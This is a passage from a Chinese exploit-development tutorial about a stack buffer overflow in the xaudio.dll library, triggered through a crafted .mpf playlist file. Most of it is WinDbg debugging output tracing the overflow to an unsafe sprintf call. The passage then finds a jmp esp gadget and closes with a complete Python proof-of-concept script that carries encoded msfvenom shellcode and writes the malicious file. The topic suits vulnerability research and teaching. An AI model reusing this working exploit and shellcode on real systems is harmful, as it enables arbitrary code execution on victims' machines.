ModLoad: 409a0000 409b2000   C:\Windows\system32\pnrpnsp.dll
ModLoad: 6c880000 6c8bc000   C:\Windows\System32\mswsock.dll
ModLoad: 6dc00000 6dc44000   C:\Windows\system32\DNSAPI.dll
ModLoad: 3fd80000 3fd88000   C:\Windows\System32\winrnr.dll
ModLoad: 40c90000 40cac000   C:\Windows\system32\IPHLPAPI.DLL
ModLoad: 3fd90000 3fd97000   C:\Windows\system32\WINNSI.DLL
ModLoad: 6ca80000 6cab8000   C:\Windows\System32\fwpuclnt.dll
ModLoad: 40040000 40046000   C:\Windows\system32\rasadhlp.dll
ModLoad: 3fd20000 3fd25000   C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=0354ff04 edx=0354f960 esi=014e09a8 edi=00000000
eip=10008160 esp=0354f8f4 ebp=014e0dcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000    sub     esp,400h
0:006> db 0354f8f4 L10
0354f8f4  24 ed 00 10 04 ff 54 03-00 00 00 00 00 00 00 00  $.....T.........
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=014e0d6c ecx=0000086f edx=77f070b4 esi=014e09a8 edi=04941830
eip=10014ee1 esp=0354f8f4 ebp=014e0dcc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xaudio!xaudio_get_api_version+0xa611:
10014ee1 8b742408        mov     esi,dword ptr [esp+8] ss:0023:0354f8fc=0000086f
0:006> db 0354f8f4 L10
0354f8f4  a8 09 4e 01 d0 4e 01 10-6f 08 00 00 00 00 00 00  ..N..N..o.......
0:006> g
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=014dbe18 edx=0354ff04 esi=014e09a8 edi=04941830
eip=10008160 esp=0354f8f4 ebp=014dc600 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000    sub     esp,400h
0:006> db 0354f8f4 L10
0354f8f4  83 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00  ......T.........
0:006> g
Breakpoint 0 hit
eax=00000041 ebx=0354f4b8 ecx=0354f4b8 edx=0354f8f4 esi=014dc208 edi=0354f264
eip=10017c75 esp=0354f214 ebp=000003eb iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
xaudio!xaudio_get_api_version+0xd3a5:
10017c75 8b11            mov     edx,dword ptr [ecx]  ds:0023:0354f4b8=0354f8f4
0:006> db 0354f8f4 L10
0354f8f4  41 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00  A.....T.........
0:006> g
(46c.d44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=014e0d6c ecx=00000000 edx=0354fce1 esi=014e09a8 edi=04941830
eip=41414141 esp=0354f8f8 ebp=014dc600 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
41414141 ??              ???

其实事后想想,漏洞函数可能是因为调用了strcpy、memcpy、strcat等危险函数造成溢出覆盖了漏洞函数的返回地址。但我在下的硬件断点触发的时候,应该处于危险函数的最深处,而栈帧是向上低地址处增长的,所以在硬件断点触发处查看栈帧回溯还是有一部分可靠的。所以就想在10017c75处看看栈帧回溯争取找到漏洞函数,如果在该处下断点,调试过程中发现触发断点的地方太多了,还是老路子硬件断点过去:

0:006> g
Breakpoint 0 hit
eax=00000041 ebx=0354f4b8 ecx=0354f4b8 edx=0354f8f4 esi=001ec208 edi=0354f264
eip=10017c75 esp=0354f214 ebp=000003eb iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
xaudio!xaudio_get_api_version+0xd3a5:
10017c75 8b11            mov     edx,dword ptr [ecx]  ds:0023:0354f4b8=0354f8f4
0:006> db 0354f8f4 L10
0354f8f4  41 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00  A.....T.........
0:006> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0354f210 10017d17 00000041 0354f4b8 0354f264 xaudio!xaudio_get_api_version+0xd3a5
0354f230 10017b47 001ebe18 000007db 0354f4b8 xaudio!xaudio_get_api_version+0xd447
00000000 00000000 00000000 00000000 00000000 xaudio!xaudio_get_api_version+0xd277

可惜只是显示了一部分,但还是可以在函数的返回处下断点,一步步跟下去:

0:006> bd 0
0:006> bl
 0 d 0354f8f4 w 1 0001 (0001)  0:**** 
0:006> bp 10017B35
0:006> bl
 0 d 0354f8f4 w 1 0001 (0001)  0:**** 
 1 e 10017b35     0001 (0001)  0:**** xaudio!xaudio_get_api_version+0xd265
0:006> g
Breakpoint 1 hit
eax=000007ed ebx=01760d6c ecx=0354f4b8 edx=0354fce1 esi=0354ff04 edi=001ec5f4
eip=10017b35 esp=0354f4a4 ebp=001ec600 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
xaudio!xaudio_get_api_version+0xd265:
10017b35 c3              ret
0:006> dd esp L4
0354f4a4  10014d64 0354f4b8 1003984c 0354f4ec
0:006> bp 10014D81
0:006> bp 10014D97
0:006> g
Breakpoint 2 hit
eax=000007ed ebx=01760d6c ecx=0354f4b8 edx=0354fce1 esi=0354ff04 edi=001ec5f4
eip=10014d81 esp=0354f4d8 ebp=001ec600 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xaudio!xaudio_get_api_version+0xa4b1:
10014d81 c3              ret
0:006> dd esp L4
0354f4d8  100081aa 0354f4f4 10039844 10039ef4
0:006> dd esp L5
0354f4d8  100081aa 0354f4f4 10039844 10039ef4
0354f4e8  001ebe18
0:006> !address 0354f4f4 

                                     
Failed to map Heaps (error 80004005)
Usage:                  Stack
Allocation Base:        03450000
Base Address:           0354c000
End Address:            03550000
Region Size:            00004000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
More info:              ~6k

0:006> db 10039844 L10
10039844  25 73 20 28 25 73 29 00-25 73 00 00 25 73 20 28  %s (%s).%s..%s (
0:006> db 10039ef4 L10
10039ef4  72 65 71 75 65 73 74 69-6e 67 20 64 61 74 61 00  requesting data.
0:006> db 001ebe18 L10
001ebe18  2f 69 6e 64 65 78 2e 70-68 70 23 41 41 41 41 41  /index.php#AAAAA
0:006> db 001ebe18+b+0n1984 L20
001ec5e3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
001ec5f3  00 00 00 00 00 f4 56 7d-5e 52 3a 00 08 c4 00 1e  ......V}^R:.....

根据返回地址100081aa即可确定漏洞函数,其中调用了sprintf函数将poc文件中的内容和字符串拼接保存在固定长度的栈上,最终产生溢出,相关汇编代码如下:

.text:10008192 mov     eax, [esp+408h+arg_C]
.text:10008199 push    edx
.text:1000819A push    eax
.text:1000819B lea     ecx, [esp+410h+var_400]
.text:1000819F push    offset aSS      ; "%s (%s)"
.text:100081A4 push    ecx             ; char *
.text:100081A5 call    _sprintf
.text:100081AA add     esp, 10h
.text:100081AD jmp     short loc_100081

也可以在IDA中查看反汇编代码,同时也验证了偏移0x400-(16+1+11)=996的正确性:

int __cdecl sub_10008160(int a1, char a2, int a3, int a4, const char *a5)
{
  int result; // eax@7
  char v6; // [sp+8h] [bp-400h]@5

  if ( *(_BYTE *)(a1 + 76) & 2 && a1 )
  {
    if ( a5 && strlen(a5) != 0 )
      sprintf(&v6, aSS, a4, a5);
    else
      sprintf(&v6, aS, a4);
    result = a3;
    if ( a3 <= *(_DWORD *)(a1 + 80) )
      result = control_message_send(*(_DWORD *)(a1 + 4), 105, a2);
  }
  return result;
}

要直接覆盖eip的话,按照常规思路还是覆盖为jmp esp的地址,跟原文一样在xaudio.dll中寻找即可:

0:006> s 10000000 10044000 ff e4
1003565d  ff e4 00 8c 00 ff ff 6d-00 e3 00 fb ff ff ff e2  .......m........
10035e3f  ff e4 00 8c 00 fd ff ff-ff c8 00 3e 00 ff ff 6d  ...........>...m
0:006> u 1003565d L1
xaudio!xaudio_get_api_version+0x2ad8d:
1003565d ffe4            jmp     esp

跳转至栈上后国际惯例还是要看看shellcode部分有没有被破坏:

(7e4.fc0): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=42424242 ebx=01590d6c ecx=00000000 edx=0367fce1 esi=015909a8 edi=047b1830
eip=0367f8f8 esp=0367f8f8 ebp=0149c600 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0367f8f8 cc              int     3
0:006> db eip
0367f8f8  cc 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  .BBBBBBBBBBBBBBB
0367f908  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f918  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f928  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f938  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f948  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f958  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367f968  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:006> db eip+0n900
0367fc7c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fc8c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fc9c  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fcac  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fcbc  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fccc  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0367fcdc  42 42 42 42 29 00 49 01-c3 5b d8 70 00 00 00 00  BBBB).I..[.p....
0367fcec  50 01 49 01 00 00 49 01-50 01 49 01 f3 03 00 f0  P.I...I.P.I.....

很好,并没有被破坏,所以理论上其后接个shellcode就可以弹计算器了,但一开始使用只过滤\x00字符的shellcode,会在执行过程中产生异常,badchar和前文一样指定多一点就可以了,至于具体是哪些badchar会影响,感兴趣的同学可以深入探究一下:

padding = "http://www.baidu.com/index.php#"
padding += "A" * 996
ret = "\x5d\x56\x03\x10" # 1003565d
# shellcode = "\xcc" + "B" * 999

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode =  ""
shellcode += "\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f"
shellcode += "\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33"
shellcode += "\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31"
shellcode += "\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb"
shellcode += "\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69"
shellcode += "\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80"
shellcode += "\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65"
shellcode += "\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43"
shellcode += "\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88"
shellcode += "\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8"
shellcode += "\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a"
shellcode += "\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87"
shellcode += "\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20"
shellcode += "\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72"
shellcode += "\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac"
shellcode += "\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f"
shellcode += "\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d"
shellcode += "\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b"
shellcode += "\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb"
shellcode += "\x22\x8a\x57\x12\xc1\x2a\xfd\x6a"

payload = padding + ret + shellcode   

with open("crash.mpf", "w") as f:
    f.write(payload)

0x03 总结

同为栈溢出漏洞的利用,通过上文的调试过程可以看出,普通覆盖eip需要确定至正确的漏洞函数,漏洞函数在返回过程中出现的任何异常都要正确规避才能劫持eip,而且劫持eip还需要观察上下文环境,看看有没有可以利用的寄存器来实现便利的跳转。反观SEH的利用,只要覆盖了SEH Handler任何异常无需规避都可以进入利用场景,由于SEH的处理机制,压栈的第二个参数提供了天然的pop pop ret使用环境,最终短跳至shellcode完成利用。所以在Windows平台上遇到栈溢出漏洞,优先考虑SEH的利用是比较快捷的。

作为一个CPU操作的整体,同样都是劫持eip,除了从应用程序的代码逻辑上考虑,也可以根据系统的相关机制进行利用,这与操作系统的理解深度也是正相关的,厚积便会有创造性的薄发。